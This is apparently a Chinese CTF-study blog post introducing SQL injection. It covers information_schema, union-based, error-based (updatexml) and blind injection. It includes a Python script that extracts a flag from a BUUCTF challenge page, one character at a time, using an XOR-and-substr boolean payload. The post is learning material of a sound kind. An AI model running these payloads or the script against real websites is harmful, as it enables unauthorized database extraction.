首页 > 数据库 >SQL纯基础

SQL纯基础

时间:2023-04-22 15:22:17浏览次数:37  
标签:数据库 SQL 基础 mid 表名 库名 Sql

数据库

结构

常用函数和语句

  • database():当前数据库名
  • user():当前用户名
  • version():当前数据库版本
  • 注释符:#,--+(' '),
  • information.schema:
    • 在MySql5.0版本之后,会默认在数据库中存放一个“information_schema”的数据库,
    • 在此库中需要记住三个表名,分别是SCHEMATA、TABLES、COLUMNS
      • SCHEMATA表存储该用户创建的所有数据库的库名,对应的字段名为SCHEMATA_NAME
      • TABLES表存储该用户创建的所有数据库的库名和表名,对应记录数据库库名和表名的字段为TABLE_SCHEMATABLE_NAME
      • COLUMNS表存储该用户创建的所有数据库的库名和表名和字段名,对应记录数据库库名、表名、字段名的字段为TABLE_SCHEMA和TABLE_NAME和COLUMN_NAME

原理

刚刚讲过当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。 这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

注入类型

类型(数据类型):

整数型


字符型

方法:

联合注入

  • group_concat:将查询的结果集放到一行中,可以传递分隔符,原因:有时候数据库限制回显一行内容
    • 替代:使用limit 0,1第一行记录
  • order by:按照后面的字段(列名)进行排序,所以可以达到查询字段个数,即几列
  • group by:按照后面的字段(列名)内容按照一定条件进行分组,效果同上
  • union select:它可以将多个 SELECT 语句的结果集合并成一个结果集。UNION SELECT 操作符将返回所有的数据行,并且在返回结果集时去除了重复行。

报错注入

  • updatexml(xml_doument,XPath_string,new_value) 第一个参数:XML的内容 第二个参数:是需要update的位置XPATH路径 第三个参数:是更新后的内容 所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式 函数利用和语法明白了,下面注入的payload就清楚明白 0x7e用来校验,version()是我们想要的数据,concat用来连接它们两个 ,0x7e作用是校验,其他符号也可以

  • 制造 SQL 语法错误

  • 目标站点能直接返回错误信息的情况,例如网页表单出现了语法错误,target 站点返回的数据中包含了敏感信息等。

盲注(通吃)

substr:

  • substr(str from pos for len)
  • len:取字符的长度,即子字符串的长度
  • str表示被截取的字段
  • pos表示截取的位置(最好初始位置1)

mid:

判断条件:基于布尔型SQL盲注的判断条件主要依靠判断SQL语句的执行结果是否满足某些条件

  • 场景:盲注通常被用于目标站点没有直接回显返回结果的情况下,例如网页表单中没有明显的反馈消息,或者是 target 站点返回的数据被过滤掉了,而攻击者仍希望得到数据的情况
  • 脚本
  • 方式:异或(^),逻辑(and (&&),or(||),xor)
    def a():
        url = "http://91f8c7f4-eae1-4f52-89fd-8c7eabddf8c1.node4.buuoj.cn:81/index.php"
        flag = "Hello, glzjin wants a girlfriend."
        final = ""
        for i in range(0, 100):
            low = 33
            height = 130
            while (low < height):
                mid = int((low + height) / 2)
                data = {"id": "0^(if((ascii(substr((select(flag)from(flag)),%d,1))>%d),1,0))" % (i, mid)}
                re = requests.post(url=url, data=data).text
                time.sleep(0.3)  # 延迟0.3秒即可解决请求过快问题
                if flag in re:
                    low = mid + 1
                else:
                    height = mid
            final += chr(low)
            print("\n", final)
    
    
    if __name__ == '__main__':
        a()
    

例题


Bypass

标签:数据库,SQL,基础,mid,表名,库名,Sql
From: https://www.cnblogs.com/zj-zhajiangmian/p/17343144.html

相关文章

  • k3s 基础 —— 配置 kubernetes dashboard
    安装请参考部署仪表盘GITHUB_URL=https://github.com/kubernetes/dashboard/releasesVERSION_KUBE_DASHBOARD=$(curl-w'%{url_effective}'-I-L-s-S${GITHUB_URL}/latest-o/dev/null|sed-e's|.*/||')sudok3skubectlcreate-fhttps://raw.githu......
  • 03:基础入门-搭建安全拓展
    1、涉及的知识点常见的问题#ASP,PHP,ASPx,JSP,PY,JAVAWEB等环境#WEB源码中敏感文件后台路径,数据库配置文件,备份文件等#ip或域名解析wEB源码目录对应下的存在的安全问题域名访问,IP访问(结合类似备份文件目录)#脚本后缀对应解析(其他格式可相同-上传安全)#存在下载或为解......
  • mysql如何创建数据库?
    创建数据库的命令格式:createdatabase数据库名称;通过按键盘上的【win】+【S】键执行搜索功能,在搜索框中输入“cmd”然后点击【以管理员身份运行】,如下图所示。     在cmd中输入“netstartmysql80”,并按下【enter】回车键,启动MySQL服务器,如下图所示。......
  • Mac连接Windows上的mysql服务器
    1、关闭Windows的防火墙2、在Windows上新建入站规则,允许访问3306端口  一直下一步,完成设置3、在Windows上更新mysql的root用户的host为'%'selecthost,userfromuser;updateusersethost='%'whereuser='root';flushprivileges; 4、在MAC上连接Windows上......
  • SQL2000修改sa密码时提示【错误2812:未能找到储存过程’sp_passwoed’】的解决方法
    1.在用SQL2000数据库经常会遇见忘记sa密码,需要修改sa密码,但是有时候修改sa密码时会提示  错误2812:未能找到储存过程’sp_passwoed’2.遇到这种情况的解决方法是:打开开始菜单,找到SQLServer的程序组,选择运行程序组中的“查询分析器”,打开 3.打开“查询分析器”后会有一个......
  • Windows10上安装mysql 8.0|mysql 8.0安装教程
    1、下载适合自己操作系统的mysql安装文件,解压就可直接用  下载地址:https://dev.mysql.com/downloads/mysql/ 2、解压压缩包,目录结构如下。解压后的压缩包里没有my.ini文件和data文件夹,my.ini可以自己手动建,但是data文件夹千万不可手动创建3、新建my.ini文件并添加最简配......
  • MySQL 时间类型 date、datetime 和 timestamp 的用法与区别
    时间范围datetime和timestamp区别时间范围不一样,TIMESTAMP要小很多,且最大范围为2038-01-1903:14:07.999999,到期也不远了。datetime与时区无关、timestamp与时区有关。对于timestamp,它把客户端插入的时间从当前时区转化为UTC(世界标准时间)进行存储。查询时,将其又转化为客户......
  • SQL注入,命令注入,文件操作
    SQLInjection:是一种常见的Web安全漏洞,gongji者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行gongji所谓的万能密码:本质上就是SQL注入的一种利用方式一次SQL注入的过程:1.获取用户请求参数         2.拼接到代码当中3.SQL语句按照我们构造参数的语......
  • 02:基础入门-数据包拓展
    1、网站解析对应简要网站搭建过程涉及到的攻击层面?(源码、搭建平台、系统、网络层等)涉及到的安全问题?(目录、敏感文件、弱口令、IP及域名等)2、HTTP/S数据包1.无代理request请求数据包response返回数据包2.有代理request请求数据包proxy代理服务器response返回数......
  • mysql-B-Tree和B+Tree、回表
    B-Tree和B+Tree前面是B-Tree,后面是B+Tree,两者的区别在于:1.B-Tree所有节点都可以带指针,B+Tree只有叶子结点才可以带指针(叶子结点就是末尾的节点)2.B-Tree中叶子结点没有指针连在一起,B+Tree中所有叶子结点通过指针连在一起3.B-Tree可能在非叶子节点就拿到指向记录的指针,B+Tr......